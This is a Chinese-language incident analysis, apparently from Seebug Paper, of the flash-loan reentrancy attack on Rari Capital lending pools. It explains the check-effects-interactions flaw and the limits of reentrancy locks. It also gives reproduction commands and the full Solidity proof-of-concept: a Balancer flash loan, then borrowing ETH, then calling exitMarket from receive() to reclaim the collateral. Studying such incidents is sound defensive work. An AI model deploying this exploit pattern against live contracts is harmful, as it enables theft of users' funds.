作者:w2ning
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
寫在前面的廢話
4月30日, Rari Capital的幾個借貸池遭受閃電貸重入攻擊, 約受損8000萬美金.
漏洞原理與去年我分析過的Cream 第四次被黑類似, 但攻擊方式更加優雅, 故有此文.
漏洞起因: Compound起的壞頭
老牌Defi借貸項目Compound在代碼實現上存在兼容性問題, 沒有遵循check-effect-interaction原則, 簡單用人話翻譯就是, 針對借貸場景,沒有做到先記賬, 再轉賬

在大部分情況下, 這個邏輯沒問題, 但是如果用戶借貸的資產為帶類似鉤子函數的Token,就會引發重入的風險, 攻擊者可以在記賬之前進行預期之外的惡意操作, 對項目造成大量損失.
當然在Compound開發之初, 可能還沒有check-effect-interaction這個說法, 所以我們不能責備他們太多, 而且他們自己非常清楚代碼的缺陷, 所以在運營上一直避免引入不兼容的加密資產.
然而仿盤們心里并沒有這個嗶數.
以去年的Cream為例:

其實去年在分析Cream的時候, 我以為只會是孤例, 因為漏洞誕生于2個項目的錯誤拼接, 觸發條件苛刻, 而且Cream上億美金的損失會給開發者一個長足的教訓.
然而現實遠非我的預料, 3月的Hundred Finance, VOLTAGE FINANCE.
不到一年時間, 仿盤們以各種姿勢, 前赴后繼踏入同一條河流.
新的漏洞觸發姿勢
Rari雖然吸取了前人的教訓,沒有引入不兼容的Token, 但是自己作死, 在CEther合約中使用了call.value來進行ETH的轉賬.
首次在不借助合作伙伴的情況下, 自主獨立創造了漏洞環境.
https://etherscan.io/address/0xd77e28a1b9a9cfe1fc2eee70e391c05d25853cbf#code

更優雅的攻擊方式
以往仿盤們的攻擊者, 雖然通過重入借貸了2次,但只能選擇把原始質押資產留在池子里. 所以單次攻擊最大獲利為 70% + 70% - 100% = 40%
而這次攻擊者雖然只有一次借貸, 但是自己原始的質押資產全身而退, 約等于白嫖了屬于是.

重入鎖的局限性
nonreentrant可以有效的抵御單一合約在單一transaction中的重入風險.
但是對于由多合約構造的復雜應用, 重入鎖并不能起到足夠的作用.
A合約的a函數和B合約的b函數即使都加了重入鎖,攻擊者依然可以通過A合約的a函數去重入B合約的b函數.
仿盤的自我修養
近一年的時間里, 仿盤們或渾然不知, 或修修補補, 有的項目方給幾乎所有核心函數增加nonReentrant防重入鎖, 以為萬事大吉.
但是依然沒有遵循check-effect-interaction原則, 治標不治本, 其實改一下代碼順序就可以....
例如記吃記打的Cream在后續更新版本中, 就更改了轉賬和記賬的順序
https://etherscan.io/address/0x28192abdb1d6079767ab3730051c7f9ded06fe46#code

復現方法
git clone https://github.com/W2Ning/Rari_Fei_Vul_Poc.git && cd Rari_Fei_Vul_Poc
forge test -vvv --fork-url $eth --fork-block-number 14684813

核心攻擊代碼
function test() public{
// 前置準備操作1: 查看 fETH_127 中有多少ETH可以借
emit log_named_uint("ETH Balance of fETH_127 before borrowing",address(fETH_127).balance/1e18);
// 前置準備操作2: 因為forge的測試地址上本身有很多的ETH
// 所以先把他們都轉走, 方便查看攻擊所得ETH數量
payable(address(0)).transfer(address(this).balance);
emit log_named_uint("ETH Balance after sending to blackHole",address(this).balance);
// 第一步, 從balancer中通過閃電貸借1500萬的USDC
// 攻擊者其實借了1.5億, 但其實1500萬就可以
// 但是balancer的閃電貸是不收手續費的, 所以借多少都無所謂
address[] memory tokens = new address[](1);
tokens[0] = address(usdc);
uint[] memory amounts = new uint[](1);
amounts[0] = 150000000*10**6;
vault.flashLoan(address(this), tokens, amounts, '');
}
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
)
external
{
// 沒有下面四行會有惡心的warning
tokens;
amounts;
feeAmounts;
userData;
// 查看是否成功借到了1500萬的USDC
uint usdc_balance = usdc.balanceOf(address(this));
emit log_named_uint("Borrow USDC from balancer",usdc_balance);
// 第二步, 調用fusdc_127的mint函數,
// 完成usdc的質押操作
usdc.approve(address(fusdc_127), type(uint256).max);
fusdc_127.accrueInterest();
fusdc_127.mint(15000000000000);
uint fETH_Balance = fETH_127.balanceOf(address(this));
emit log_named_uint("fETH Balance after minting",fETH_Balance);
usdc_balance = usdc.balanceOf(address(this));
emit log_named_uint("USDC balance after minting",usdc_balance);
// 第三步, 調用 Unitroller 的 enterMarkets函數
address[] memory ctokens = new address[](1);
ctokens[0] = address(fusdc_127);
rari_Comptroller.enterMarkets(ctokens);
// 第四步, fETH_127 的borrow函數, 借1977個ETH
fETH_127.borrow(1977 ether);
emit log_named_uint("ETH Balance of fETH_127_Pool after borrowing",address(fETH_127).balance/1e18);
emit log_named_uint("ETH Balance of me after borrowing",address(this).balance/1e18);
usdc_balance = usdc.balanceOf(address(this));
fusdc_127.approve(address(fusdc_127), type(uint256).max);
fusdc_127.redeemUnderlying(15000000000000);
usdc_balance = usdc.balanceOf(address(this));
emit log_named_uint("USDC balance after borrowing",usdc_balance);
// 第五步, 把1500萬的USDC還給balancer
usdc.transfer(address(vault), usdc_balance);
usdc_balance = usdc.balanceOf(address(this));
emit log_named_uint("USDC balance after repayying",usdc_balance);
}
receive() external payable {
rari_Comptroller.exitMarket(address(fusdc_127));
}
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1903/